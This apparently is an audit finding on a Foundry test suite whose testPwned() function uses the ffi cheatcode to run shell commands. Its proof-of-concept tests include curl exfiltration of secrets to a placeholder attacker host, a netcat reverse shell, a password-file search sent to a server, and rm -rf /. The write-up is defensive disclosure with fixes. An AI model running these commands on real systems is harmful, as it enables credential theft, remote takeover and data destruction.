ffi cheatcode usage in SantasListTest.t.sol allows arbitrary shell command executionSantasListTest.t.sol contains a testPwned() function that uses Foundry's ffi cheatcode to execute an arbitrary shell command (touch youve-been-pwned) on the machine running the test suite. ffi grants the calling test the ability to run any command available to the host shell, so a malicious or compromised test file can read, exfiltrate, or modify anything the CI/developer machine has access to — far beyond simply creating a file. Because this test ships inside the audited repository and runs automatically as part of forge test, any CI pipeline or developer machine that runs the suite with ffi = true executes attacker-chosen shell commands with the permissions of whoever runs the tests.
Impact: High — arbitrary code execution on CI/developer infrastructure, a full compromise of the build environment that can lead to credential theft, supply-chain injection, or lateral movement well beyond the smart contracts themselves.
Likelihood: High — triggers automatically on forge test with no user interaction, as long as ffi is enabled in foundry.toml.
The finding is demonstrated by the existing test itself:
Running forge test --match-test testPwned with ffi = true creates a file named youve-been-pwned in the project root, confirming arbitrary shell execution from within the test suite.
Remove testPwned() and the _CheatCodes/ffi usage entirely, and disable ffi in foundry.toml unless it is strictly required. If ffi is ever necessary, restrict it to a narrowly scoped, manually reviewed helper rather than leaving it callable from arbitrary test functions.
## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.
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